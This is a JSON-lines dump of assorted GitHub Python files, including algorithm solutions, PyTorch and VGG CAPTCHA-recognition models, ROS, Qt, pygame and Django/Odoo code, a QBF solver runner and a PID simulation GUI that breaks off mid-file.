+{"seq_id":"18605899276","text":"#유클리드 호제법\ndef gcd(x,y):\n    mod = x % y\n    while mod >0:\n        x = y\n        y = mod\n        mod = x % y\n    return y\n\n#입력함수\nN = int(input())\nfreight = [] # 입력값\nfor _ in range(N):\n    freight.append(int(input()))\n\nfreight.sort(reverse = True)\nnum_min = min(freight) #최솟값 찾기\nfreight.remove(num_min) #최솟값 제거\n\nfor i in range(len(freight)):\n    if(freight[i] > num_min):\n        freight[i] = freight[i] - num_min #모든 정수에 최솟값을 뺴준다.\n\ngcd_arr= freight[0] #gcd함수에서 최대공약수를 찾기위해 배열첫번째값을 gcd_arr에 저장한다.\nfor i in range(len(freight)):\n    gcd_arr = gcd(gcd_arr,freight[i])\n\nfor i in range(2,gcd_arr+1):\n    if(gcd_arr%i == 0):\n         print(i, end=' ')\n\n\n\n\n    \n","repo_name":"CukCoding/Ju","sub_path":"2021/6주차/2981.py","file_name":"2981.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25079177","text":"import torch\nimport torch.nn as nn\n\n\nclass GradImgLoss(nn.Module):\n    def __init__(self):\n        super(GradImgLoss,self).__init__()\n\n    def forward(self, x, y):\n        assert x.shape == y.shape\n        batch_size = x.size()[0]\n        h_x = x.size()[2]\n        w_x = x.size()[3]\n        count_h = self._tensor_size(x[:,:,1:,:])\n        count_w = self._tensor_size(x[:,:,:,1:])\n        ##grad_x\n        h_grad_x = torch.abs(x[:,:,1:,:]-x[:,:,:h_x-1,:])\n        h_grad_y = torch.abs(y[:,:,1:,:]-y[:,:,:h_x-1,:])\n        ##grad_y\n        w_grad_x = torch.abs(x[:,:,:,1:]-x[:,:,:,:w_x-1])\n        w_grad_y = torch.abs(y[:,:,:,1:]-y[:,:,:,:w_x-1])\n        #print(\"h,w:\", h_tv, w_tv)\n        grad_loss = torch.pow((h_grad_x - h_grad_y), 2).sum() + torch.pow((w_grad_x - w_grad_y), 2).sum()\n        return grad_loss\n\n    def _tensor_size(self,t):\n        return t.size()[1]*t.size()[2]*t.size()[3]\n","repo_name":"selous123/denosing-pytorch","sub_path":"code/loss/gradimgloss.py","file_name":"gradimgloss.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"72592058934","text":"from __future__ import annotations\n\nfrom pprint import pprint\nfrom typing import TYPE_CHECKING\n\nfrom hk_horn import HornAPI\n\nif TYPE_CHECKING:\n\t...\n\n\nif __name__ == '__main__':\n\thorn = HornAPI()\n\tmods_lst = list(\n\t\t\thorn.parser.iter_mods(),\n\t\t)\n\tpprint(\n\t\tmods_lst,\n\t)\n\n\tprint()\n\tprint(f'Mods count: {len(mods_lst)}')\n","repo_name":"BlackCatDevel0per/hk-horn","sub_path":"examples/list_mods.py","file_name":"list_mods.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1053202647","text":"\"\"\"Code Created by Amber Linnea Kirylak for Harvard CS50P class Lecture 6\"\"\"\n\n#ask for user input\nname = input(\"What's your name? \")\n\n#save value to a file\n#create a file, open it, call the name, can write, read or append\nfile = open(\"names.txt\", \"a\")\n#cannot use end=\"\", need to manuall format new line\nfile.write(f\"{name}\\n\")\nfile.close()\n\n#need to append to write the names and when reruning the code, you\n#add to the list","repo_name":"akirylak/python-practice","sub_path":"names4.py","file_name":"names4.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33619319203","text":"#!/usr/bin/env python\n\nimport roslib\nimport rospy\nimport smach\nimport smach_ros\n\nfrom std_msgs.msg import *\nfrom geometry_msgs.msg import *\n\n\nfrom States.searchingState import *\nfrom States.movingState import *\nfrom States.lift import *\nfrom States.getPose import *\nfrom States.util import *\n\n\n\"\"\"def monitor_cb(ud, msg):\n\tprint('get in monitor')\n\tprint \"this is the message. Position : \"+str(msg.position.x)+\", \"+str(msg.position.y)+\", \"+str(msg.position.z)+\" Orientation : \"+str(msg.orientation.x)+\", \"+str(msg.orientation.y)+\", \"+str(msg.orientation.z)+\", \"+str(msg.orientation.w)\n\n\t#We want a plane and orientation only around the z axis.\n\t \n\tQuaternion : \n\tq[0]=cos(r/2)\n\tq[1]=cos(r/2)*x\n\tq[2]=cos(r/2)*y\n\tq[3]=cos(r/2)*z\n\n\tSo we 0 out the y and x\n\n\t\n\n\tif msg.position.z != 0.0 or msg.orientation.y != 0 or msg.orientation.z != 0:\n\t\tprint(\"It's not on the ground plane, the robot can't go there. Sorry\")\n\t\treturn 'invalid'\n\telse:\n\t\tprint(\"Good\")\n\t\treturn 'valid'\"\"\"\n\t\t\t\n\n\ndef main():\n\trospy.init_node('MotherBrain')\n\t\n\tpose = PoseStamped()\n\tpose.pose.position.x=2\n\tpose.pose.orientation.w=1\n\t\n\tpose2 = PoseStamped()\n\tpose2.pose.position.x=2\n\tpose2.pose.position.y=2\n\tpose2.pose.orientation.w=1\n\t\n\tpose_base = PoseStamped()\n\tpose_base2 = PoseStamped()\n\tpose_base2.pose.position.y=2\n\tpose_base.pose.orientation.w=1\n\tpose_base2.pose.orientation.w=1\n\n\t# Create a SMACH state machine\n\tsm = smach.StateMachine(outcomes=['End'])\n\t#sm.userdata.sm_counter = 0\n\t\n\tsm.userdata.sm_pose_goal = list()\n\tsm.userdata.sm_pose_goal.append(pose) #Don't know how to declare a message...\n\tsm.userdata.sm_pose_goal.append(pose2) #Don't know how to declare a message...\n\t\n\tsm.userdata.sm_object_flag = list()\n\tsm.userdata.sm_object_flag.append(False)\n\tsm.userdata.sm_object_flag.append(False)\n\t\n\tsm.userdata.sm_pose_base=list()\n\tsm.userdata.sm_pose_base.append(pose_base)\n\tsm.userdata.sm_pose_base.append(pose_base2)\n\t\n\t\n\tsm.userdata.sm_iteration_get_pose=0\n\tsm.userdata.nb_robot=2\n\tsm.userdata.stack=Stack(0.5, 0.5)\n\n\t# Open the container\n\twith sm:\n\t\t# Add states to the container\n\t\t\n\t\t#smach.StateMachine.add('MoveUser', MonitorState2(\"/user_pose\", Pose, getPositionUser) , transitions={'invalid':'MoveUser', 'valid':'End', 'preempted':'MoveUser'}, remapping={'pose_user':'sm_pose'})\n\t\t\n\t\t#Preempted used has you must ask more position from user\n\t\t#Get pose from the user\n\t\tsmach.StateMachine.add('getPose', WaitForMsgState(\"/user_pose\", Pose, getPositionUser_V2, ['pose_user', 'pose_iteration', 'nb_robot', 'stack'], ['pose_user', 'pose_iteration']), \n\t\ttransitions={'preempted' : 'getPose', 'aborted' : 'getPose', 'succeeded' : 'End'},\n\t\tremapping={'pose_user':'sm_pose_goal' , 'pose_iteration' : 'sm_iteration_get_pose', 'nb_robot' : 'nb_robot', 'stack' : 'stack'})\n\t\t# msg_cb=None, output_keys=None, latch=False, timeout=None)\n\t\t                       \n\n\t# Create and start the introspection server\n\n\n\t# Execute the state machine\n\toutcome = sm.execute()\n\n\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"MalcolmMielle/MotherBrain","sub_path":"src/MultipleRobot/testgetpose.py","file_name":"testgetpose.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5395944025","text":"from PySide6 import QtCore, QtGui, QtWidgets\nfrom PySide6.QtCore import Qt\nimport PySide6\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n    def __init__(self):\n        super(MainWindow, self).__init__()\n        self.label = QtWidgets.QLabel()\n        canvas = QtGui.QPixmap(400, 300)\n        canvas.fill(Qt.white)\n        self.label.setPixmap(canvas)\n        self.setCentralWidget(self.label)\n\n        self.last_x, self.last_y = None, None\n\n    def mouseMoveEvent(self, event: PySide6.QtGui.QMouseEvent) -> None:\n        if self.last_x is None:\n            self.last_x = event.x()\n            self.last_y = event.y()\n            return\n        canvas = self.label.pixmap()\n        painter = QtGui.QPainter(canvas)\n        painter.drawLine(self.last_x, self.last_y, event.x(), event.y())\n        painter.end()\n        self.label.setPixmap(canvas)\n\n        self.last_x = event.x()\n        self.last_y = event.y()\n\n    def mouseReleaseEvent(self, event: PySide6.QtGui.QMouseEvent) -> None:\n        self.last_x = None\n        self.last_y = None\n\n\ndef test():\n    app = QtWidgets.QApplication([])\n    window = MainWindow()\n    window.show()\n    app.exec()\n\n    \nif __name__ == '__main__':\n    test()","repo_name":"flyfire/learning-qt","sub_path":"pyside6-tutorial/app13.py","file_name":"app13.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35351116908","text":"\ndef export_text(decision_tree, feature_names=None, class_names=None, spaces=3, decimals=2):\n    \"\"\"\n    Method similar to sklearn.tree.export_text, outputs fitted MyDecisionTree instance structure\n\n    Parameters:\n    ----------\n    decision_tree : MyDecisionTree\n        Fited MyDecisionTree instance\n\n    feature_names : list\n        List of feature names to replace indices with\n    \n    class_names : list\n        List of label names to replace indices with\n    \n    spaces : int\n        Tabulation size for node depth level\n    \n    decimals: int\n        Formating parameter for decimal numbers output\n\n    Returns:\n    ----------\n    report : str\n        Text summary of decision tree structure (rules in nodes)\n    \"\"\"\n    report = ''\n    stack = [(decision_tree.root, 1)]\n    str_stack = ['']\n    while len(stack) > 0:\n        cur, depth = stack.pop(-1)\n        report += str_stack.pop(-1)\n\n        indent = ('|' + ' '*spaces)*(depth - 1)\n        indent += '|' + '-'*spaces\n\n        if cur.predicted_value is not None:\n            label = cur.predicted_value if class_names is None else class_names[cur.predicted_value]\n            report += indent + f' class: {label}\\n'\n            continue\n\n        feature_name = cur.feature_index if feature_names is None else feature_names[cur.feature_index]\n        if cur.right_child:\n            stack.append((cur.right_child, depth + 1))\n            str_stack.append(indent + f' {feature_name} >= {cur.value:.{decimals}f}\\n')\n        if cur.left_child:\n            stack.append((cur.left_child, depth + 1))\n            str_stack.append(indent + f' {feature_name} < {cur.value:.{decimals}f}\\n')\n    \n    return report\n\n\n","repo_name":"shredder67/DSS-course","sub_path":"decision_tree/dec_tree_interp.py","file_name":"dec_tree_interp.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18840351515","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass PlusUser(models.Class):\n    \"\"\" Represents a User's Plus Membership Status \"\"\"\n    player = models.OneToOneField(User, on_delete=models.CASCADE, primary_key=True)\n    is_active = models.BooleanField(default=False)\n    signup_date = models.DateField(default=None, blank=True, null=True)  # If renewal / signup is None, isActive = False\n    renewal_date = models.DateField(default=None, blank=True, null=True)\n    renewal_type = models.ForeignKey(default=0, max_digits=2, )  # Month-To-Month, 6-Month, 12-Month, Special Promo, etc\n\n\nclass PlusRenewal(models.Class):\n    \"\"\" Plus Renewal Program \"\"\"\n    name = models.CharField(default=\"\")\n    duration = models.IntegerField(default=1, max_digits=2)\n    price = models.DecimalField(default=0.00, max_digits=5, decimal_places=2)\n    is_active = models.BooleanField(default=False)  # Can you signup for this currently?\n","repo_name":"Wandows95/scrimio-rewrite","sub_path":"plus_membership/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7111160657","text":"# Irfansha Shaik, 07.10.2021, Aarhus.\n\nimport os\nimport subprocess\n\n\nclass RunPedant():\n\n  def run_pedant(self):\n    if (self.cert_gen == 0):\n      command = self.solver_path + \" \" + self.input_file_path + \" > \" + self.output_file_path\n    else:\n      command = self.solver_path + \" \" + self.input_file_path + \" --cnf \" + self.cert_path + \" > \" + self.output_file_path\n    try:\n      subprocess.run([command], shell = True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT ,check=True, timeout=self.time_limit)\n    except subprocess.TimeoutExpired:\n      self.timed_out = True\n      print(\"Time out after \" + str(self.time_limit)+ \" seconds.\")\n    except subprocess.CalledProcessError as e:\n      # 10, 20 are statuses for SAT and UNSAT:\n      if (\"exit status 10\" not in str(e) and \"exit status 20\"  not in str(e)):\n        print(\"Error from solver :\", e, e.output)\n\n  # parsing the pedant solver output:\n  def parse_pedant_output(self):\n    f = open(self.output_file_path, 'r')\n    lines = f.readlines()\n    # Printing the data to the output for correctness purposes:\n    for line in lines:\n      #if (line != '\\n'):\n      if (line != '\\n'):\n        nline = line.strip(\"\\n\")\n        print(nline)\n\n    # Making sure the state of solution is explicitly specified:\n    for line in lines:\n      if ('UNSATISFIABLE' in line):\n        self.sat = 0\n        return\n\n    for line in lines:\n      if ('SATISFIABLE' in line):\n        self.sat = 1\n        break\n\n\n  def __init__(self, args):\n    self.input_file_path = args.encoding_out\n    self.output_file_path = args.solver_out\n    self.time_limit = args.time_limit\n    # By default timeout not occured yet:\n    self.timed_out = False\n    self.solver_path = os.path.join(args.planner_path, 'solvers', 'pedant-solver', 'pedant')\n    self.sol_map = {}\n    self.sat = -1 # by default plan not found.\n    # we generate certificate if viz testing is turned on:\n    self.cert_gen = args.viz_testing\n    self.cert_path = args.certificate_out\n\n    self.run_pedant()\n    self.parse_pedant_output()\n","repo_name":"irfansha/Q-sage","sub_path":"run/run_pedant.py","file_name":"run_pedant.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"18743729320","text":"import cv2\nimport os\nimport random\nimport numpy as np\nfrom PIL import Image\nfrom captcha.image import ImageCaptcha\nfrom torch import nn\nfrom torch.utils.data import Dataset, DataLoader\nimport string\nimport torch\nimport torch.nn.functional as F\nfrom tensorboardX import SummaryWriter\nfrom torchvision import transforms\nnumber = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\nalphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u',\n            'v', 'w', 'x', 'y', 'z']\nALPHABET = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\n            'V', 'W', 'X', 'Y', 'Z']\n#生成随机颜色背景图片\ndef getRandomColor():\n    c1 = random.randint(0,250)\n    c2 = random.randint(0, 250)\n    c3 = random.randint(0, 250)\n    return (c1,c2,c3)\n#字体颜色，默认为蓝色\nfontcolor =getRandomColor()\nfontsize = 34\n\ndef one_hot(text):\n    vector = np.zeros(4 * 62)  # (10+26+26)*4\n\n    def char2pos(c):\n        if c == '_':\n            k = 62\n            return k\n        k = ord(c) - 48\n        if k > 9:\n            k = ord(c) - 55\n            if k > 35:\n                k = ord(c) - 61\n                if k > 61:\n                    raise ValueError('No Map')\n        return k\n\n    for i, c in enumerate(text):\n        idx = i * 62 + char2pos(c)\n        # print(text,i,char2pos(c),idx)\n        vector[idx] = 1.0\n    return vector\n\n#定义随机方法\ndef random_captcha():\n    #做一个容器\n    captcha_text = []\n    for i in range(4):\n        #定义验证码字符\n        c = random.choice(string.digits + string.ascii_letters)\n        captcha_text.append(c)\n    #返回一个随机生成的字符串\n    return ''.join(captcha_text)\n\nepoch = 200\nbatch_size = 500\na = 30000\nlr = 0.0001\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\ngenerator = ImageCaptcha(width=90, height=35, font_sizes=[fontsize])\n\nclass MyDataSet(Dataset):\n    def __init__(self):\n        return\n    def __getitem__(self, index):\n        f = random_captcha()\n        label = ''.join(f)\n        image = generator.generate(label)\n        #global img\n        img = Image.open(image)\n        img = np.array(img)\n        #img[img >= 255] = 0\n        img = img / 255.\n        img = torch.from_numpy(img).float()\n        #img = torch.unsqueeze(img, 0)\n        img = img.permute(2, 0, 1)\n        label = torch.from_numpy(one_hot(label)).float()\n        return img,label\n    def __len__(self):\n        return a\n\ntrain_dataset = MyDataSet()\ntrain_loader = torch.utils.data.DataLoader(train_dataset,shuffle=True,batch_size=batch_size)\ntest_dataset = MyDataSet()\ntest_loader = torch.utils.data.DataLoader(test_dataset,shuffle=True,batch_size=batch_size)\n#数据集准备完成\n\nclass VGG16(nn.Module):\n        def __init__(self):\n            super(VGG16, self).__init__()\n            #input  input(90,35,3)\n            self.layer1 = nn.Sequential(\n                nn.Conv2d(in_channels=3, out_channels=64, kernel_size=3, stride=1,padding=(1, 1)),   # output:90*35*64\n                nn.ReLU(inplace=True),\n                nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3, stride=1, padding=(1, 1)), # output:90*35*128\n                nn.ReLU(inplace=True),\n                nn.MaxPool2d(2)  # 池化后长宽减半 output:45,17*64\n            )\n            self.layer2 = nn.Sequential(\n                nn.Conv2d(in_channels=128, out_channels=256, kernel_size=3, stride=1,padding=(1, 1)),  # output:45*17*256\n                nn.ReLU(inplace=True),\n                nn.Conv2d(in_channels=256, out_channels=256, kernel_size=3, stride=1, padding=(1, 1)), # output:45*17*256\n                nn.ReLU(inplace=True),\n                nn.MaxPool2d(2)  # 池化后长宽减半 output:22*8*128\n            )\n            self.layer3 = nn.Sequential(\n                nn.Conv2d(in_channels=256, out_channels=512, kernel_size=3, stride=1,padding=(1, 1)),  # output:22*8*512\n                nn.ReLU(inplace=True),\n                nn.Conv2d(in_channels=512, out_channels=512, kernel_size=1, stride=1),  # output:22*8*512\n                nn.ReLU(inplace=True),\n                nn.MaxPool2d(2)  # 池化后长宽减半 output:11*4*256\n            )\n            self.layer4 = nn.Sequential(\n                # GROUP 4\n                nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1,padding=1),  # output:5*2*512\n                nn.ReLU(inplace=True),\n                nn.Conv2d(in_channels=512, out_channels=512, kernel_size=1, stride=1),  # output:5*2*512\n                nn.ReLU(inplace=True),\n                nn.MaxPool2d(2)  # 池化后长宽减半 output:5*2*512\n            )\n            # self.layer5 = nn.Sequential(\n            #     nn.Conv2d(in_channels=512, out_channels=512, kernel_size=3, stride=1,padding=1),  # output:15*12*512\n            #     nn.ReLU(inplace=True),\n            #     nn.Conv2d(in_channels=512, out_channels=512, kernel_size=1, stride=1),  # output:14*14*512\n            #     nn.ReLU(inplace=True),\n            #     nn.MaxPool2d(2)  # 池化后长宽减半 output:7*6*512\n            # )\n            self.fc = nn.Sequential(\n                nn.Linear(in_features=5*2*512, out_features=2048),\n                nn.ReLU(inplace=True),\n                nn.Linear(in_features=2048, out_features=1024),\n                nn.ReLU(inplace=True),\n                nn.Linear(in_features=1024, out_features=248)\n            )\n        # 定义前向传播\n        def forward(self, x):\n            x = self.layer1(x)\n            x = self.layer2(x)\n            x = self.layer3(x)\n            x = self.layer4(x)\n            # x = self.layer5(x)\n            x = x.view(x.size(0), -1)\n            x = self.fc(x)\n            return x\n\ndummy_input = torch.rand(64,3,35,90)\nmodel = VGG16()\nwith SummaryWriter(comment='Net',log_dir='VGG_NET') as w:\n    w.add_graph(model.eval(),(dummy_input,))\n\n\n","repo_name":"Alohawsq/pytorch-CAPTCHA","sub_path":"vggmain1.py","file_name":"vggmain1.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"26960901990","text":"import pygame\r\nfrom pygame.locals import *\r\nimport sys\r\n\r\nSCREENWIDTH = 845\r\nSCREENHEIGHT = 820\r\nFPS = 30\r\n\r\n\r\nclass MyMap():\r\n\r\n    def __init__(self, x, y):\r\n        self.bg = pygame.image.load(\"image/bg.png\").convert_alpha()\r\n        self.x = x\r\n        self.y = y\r\n\r\n    def map_rolling(self):\r\n        if self.x < -845:\r\n            self.x = 845\r\n        else:\r\n            self.x -= 5\r\n\r\n    def map_update(self):\r\n        SCREEN.blit(self.bg, (self.x, self.y))\r\n\r\nclass Music_Button():\r\n    is_open = True\r\n    def __init__(self):\r\n        self.open_image = pygame.image.load(\"image/btn_open.png\").convert_alpha()\r\n        self.close_image = pygame.image.load(\"image/btn_close.png\").convert_alpha()\r\n        self.bg_music = pygame.mixer.Sound(\"audio/bg_music.wav\")\r\n\r\n    def is_select(self):\r\n        point_x,point_y = pygame.mouse.get_pos()\r\n        w, h = self.open_image.get_size()\r\n        in_x = point_x >20 and point_x<20+w\r\n        in_y = point_y >20 and point_y<20+h\r\n        return in_x and in_y\r\n\r\ndef main_game():\r\n    score = 0\r\n    over = False\r\n    global SCREEN, FPSCLOCK\r\n    pygame.init()\r\n    FPSCLOCK = pygame.time.Clock()\r\n    SCREEN = pygame.display.set_mode((SCREENWIDTH, SCREENHEIGHT))\r\n    pygame.display.set_caption(\"马尔福历险记\")\r\n    bg1 = MyMap(0, 0)\r\n    bg2 = MyMap(900,0)\r\n\r\n    music_button = Music_Button()\r\n    btn_img = music_button.open_image\r\n    music_button.bg_music.play(-1)\r\n\r\n\r\n    while True:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.MOUSEBUTTONUP:\r\n                if music_button.is_select():\r\n                    if music_button.is_open:\r\n                        btn_img = music_button.close_image\r\n                        music_button.is_open = False\r\n                        music_button.bg_music.stop()\r\n                    else:\r\n                        btn_img = music_button.open_image\r\n                        music_button.is_open = True\r\n                        music_button.bg_music.play(-1)\r\n            if event.type == QUIT:\r\n                pygame.quit()\r\n                sys.exit()\r\n        pygame.display.update()\r\n        FPSCLOCK.tick(FPS)\r\n\r\n        if over == False:\r\n            bg1.map_update()\r\n            bg1.map_rolling()\r\n            bg2.map_update()\r\n            bg2.map_rolling()\r\n        SCREEN.blit(btn_img, (20, 20))\r\n\r\n\r\nif __name__ == '__main__':\r\n    main_game()\r\n","repo_name":"baaiy0610/python-project","sub_path":"supermarieo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"73247309174","text":"from odoo import models\n\n\nclass TerminateReasonEvaluation(models.TransientModel):\n    _inherit = \"terminate.reason\"\n\n    def save_terminate(self):\n        \"\"\"Override method to make student evaluation active false when\n        student is terminated\"\"\"\n        student = self._context.get(\"active_id\")\n        student_rec = self.env[\"student.student\"].browse(student)\n        student_eval_rec = self.env[\"school.evaluation\"].search(\n            [(\"type\", \"=\", \"student\"), (\"student_id\", \"=\", student_rec.id)]\n        )\n        if student_eval_rec:\n            student_eval_rec.active = False\n        return super(TerminateReasonEvaluation, self).save_terminate()\n","repo_name":"JayVora-SerpentCS/OdooEduERP","sub_path":"school_evaluation/wizard/terminate_reason.py","file_name":"terminate_reason.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":146,"dataset":"github-code","pt":"21"}
+{"seq_id":"2261413368","text":"\"\"\"\nLIBRARY IMPORTS\n\"\"\"\n# Standard Libraries\nimport tkinter as tk\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport ipywidgets as widgets\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n# Third Party Libraries\nimport pyttsx3\n\n\n# My Libraries\nfrom exoskeleton import pyonics as modeling\n\n\"\"\"\nSYSTEM CONFIGURATION\n\"\"\"\n\n\"\"\"\nFUNCTION DEFINITIONS #1 \n\"\"\"\n# Most of them should go here, any down after the class definitions are there only to avoid screwing things up right now\n\ndef total_num_samples_getter(sample_rate, total_time):\n    total_samples = int(sample_rate * total_time)\n    return total_samples\n\n\ndef sim_maker(sample_number):\n    \"\"\"\n    Creates the indexed DataFrame.\n    \"\"\"\n    headers = [\"time\"]\n    df = pd.DataFrame(columns=headers, index=range(sample_number))\n    return df\n\n\ndef time_samples_to_df(time_sample_df):\n    \"\"\"\n    Turns a list of time sample coordinates into a DataFrame.\n    \"\"\"\n    print(time_sample_df)\n    values_gotten = [time_sample_df[0].get(), time_sample_df[1].get()]\n    sample_number = int(total_num_samples_getter(values_gotten[0], values_gotten[1]))\n    values_gotten.append(sample_number)\n\n    for i in time_sample_df[2::1]:\n        values_gotten.append(i.get())\n\n    values_labels = [\"sample_length\", \"sample_freq\", \"sample_number\", \"pos_start\", \"vel_start\", \"accel_start\",\n                     \"mass\", \"scale_factor\", \"set_point\", \"p_k\", \"i_k\", \"d_k\",\n                     \"control_constant\"]  # This may also change to be more adaptable to any number of joint angles or parameters\n    df = pd.DataFrame(data=values_gotten, index=values_labels).T\n    return df\n\n\ndef simulate(init_params):  # This should be taking a DataFrame and returning all the program logic\n    sample_number = int(init_params[\"sample_number\"][0])\n    sample_freq = int(init_params[\"sample_freq\"][0])\n\n    disturbance_const = float(init_params[\"scale_factor\"][0])\n    set_point = float(init_params[\"set_point\"][0])\n    p_k = float(init_params[\"p_k\"][0])\n    i_k = float(init_params[\"i_k\"][0])\n    d_k = float(init_params[\"d_k\"][0])\n    control_const = float(init_params[\"control_constant\"][0])\n\n    # Starts making the dataframe here\n    time_series = sim_maker(sample_number)\n    df = time_samples_to_df(time_series)\n    df.set_index(df[\"time\"])\n\n    # Initialization stuff - this will probably be replaced later with calls to variables or GUI elements\n    df.at[0, \"error\"] = 0  # This should definitely still be initialized at 0\n    df.at[0, \"control\"] = 0  # This should also still initialize at 0\n    df.at[0, \"throttle_force\"] = 0  # This should initialize at 0 except under weird circumstances\n    df.at[0, \"total_force\"] = 0  # This can be whatever; the disturbance force isn't necessarily zero at start\n    df.at[0, \"acceleration\"] = init_params[\"accel_start\"][\n        0]  # This is also not necessarily zero, it includes an initial acceleration, but can be calculated instantaneously\n    df.at[0, \"velocity\"] = init_params[\"vel_start\"][0]  # Not necessarily 0, may be some v0\n    df.at[0, \"position\"] = init_params[\"pos_start\"][0]  # Definitely not necessarily zero\n\n    # Filling out the columns that we can do in one go\n    df = phys.mass(sample_number, df)\n    df = phys.disturbance_force(sample_number, df, disturbance_const)\n\n    # This loop is handling all of the things that need to be calculated one time-step/row at a time, instead of being filled out at the beginning - can probably be called as a pure physics function\n    for x in range(0, sample_number):\n        df = phys.throttle_force(df, x)\n        df = phys.total_force(df, x)\n        df = phys.acceleration(df, x)\n        df = phys.velocity(df, x)\n        df = phys.position(df, x)\n        df = ctrl.error(set_point, df, x)\n        df = ctrl.pid(df, x, p_k, i_k, d_k, control_const)\n    graph = plt.plot(df[\"time\"], df[\"velocity\"])\n    plt.draw()\n    return df\n\n\ndef sim_and_plot(init_vals_df, ax):\n    simulate(init_vals_df).plot(x=\"time\", y=\"velocity\", ax=ax)\n    return\n\ndef sim_parameter_getter(): # need versions or extensions of this for each PID controller and each physics body\n    sample_freq = int(input(#\"Sample rate in Hz (int): \"\n                            ))\n    sample_length = int(input(#\"Total time in seconds (int): \"\n                              ))\n    #print(sample_length)\n    sample_number = int(total_num_samples_getter(sample_freq, sample_length))\n    #print(\"Total number of samples:\", sample_number)\n    labels = [\"sample_length\", \"sample_freq\", \"sample_number\"]\n    simulation_parameters = pd.DataFrame(data=[sample_length,sample_freq,sample_number], index=labels)\n    #print(simulation_parameters.keys)\n    return simulation_parameters\n\n\ndef cmdline_logic():\n    user_input = \"yes\"\n    while user_input == \"yes\":\n        sample_freq = int(input(\"Sample rate in Hz (int): \"))\n        print(sample_freq)\n        sample_length = int(input(\"Total time in seconds (int): \"))\n        print(sample_length)\n        sample_number = int(total_num_samples_getter(sample_freq, sample_length))\n        print(\"Total number of samples:\", sample_number)\n        set_point = float(input(\"Set point for cruise control (float): \"))\n        print(set_point)\n        pos_start = float(input(\"Start position (float): \"))\n        print(pos_start)\n        vel_start = float(input(\"Start velocity (float): \"))\n        print(vel_start)\n        accel_start = float(input(\"Start acceleration (float): \"))\n        print(accel_start)\n\n        mass = float(input(\"Mass (float): \"))\n        print(mass)\n        scale_factor = float(input(\"Scaling factor for external disturbance (float): \"))\n        print(scale_factor)\n        p_k = float(input(\"Proportional scaling factor (float): \"))\n        print(p_k)\n        i_k = float(input(\"Integral scaling factor (float): \"))\n        print(i_k)\n        d_k = float(input(\"Derivative scaling factor (float): \"))\n        print(d_k)\n        control_constant = float(input(\"Constant multiple for PID term to throttle output (float): \"))\n        print(control_constant)\n\n        param_list = [sample_length, sample_freq, sample_number, pos_start, vel_start, accel_start,\n                      mass,\n                      scale_factor, set_point, p_k, i_k, d_k, control_constant]\n        values_labels = [\"sample_length\", \"sample_freq\", \"sample_number\", \"pos_start\", \"vel_start\", \"accel_start\",\n                         \"mass\", \"scale_factor\", \"set_point\", \"p_k\", \"i_k\", \"d_k\", \"control_constant\"]\n        initialparams = pd.DataFrame(data=param_list, index=values_labels).T\n        # Need to pay attention to what this returns, this is critical for initialization\n        print(\"Simulating . . .\")\n        print(\".\")\n        print(\". .\")\n        print(\". . .\")\n        simdata = simulate(initialparams)\n        print(simdata)\n        user_input = (\"Simulate again? [yes/no]: \")\n    return initialparams\n\n\n\"\"\"\nCLASS DEFINITIONS\n\"\"\"\n\nclass Interface:\n    def __init__(self):\n        pass\n\nclass GUI(Interface):\n    def __init__(self):\n        pass\n\nclass VoiceControlGUI:\n    def announce(self, stringvar):\n        print(stringvar)\n        self.voice_engine.say(stringvar)\n        self.voice_engine.runAndWait()\n        return\n\n    def __init__(self):\n        # TTS Engine Initialization\n        self.voice_engine = pyttsx3.init()\n        self.voices = self.voice_engine.getProperty(\"voices\")\n        self.voice_engine.setProperty('rate', 175)\n        self.voice_engine.setProperty('voice', self.voices[1].id)\n\n        # Voice Recognition Initialization\n        self.recog_model = vosk.Model(\"vosk-model-small-en-us-0.15\")\n        self.voice_recog = vosk.KaldiRecognizer(self.recog_model, 16000)\n        self.mic = 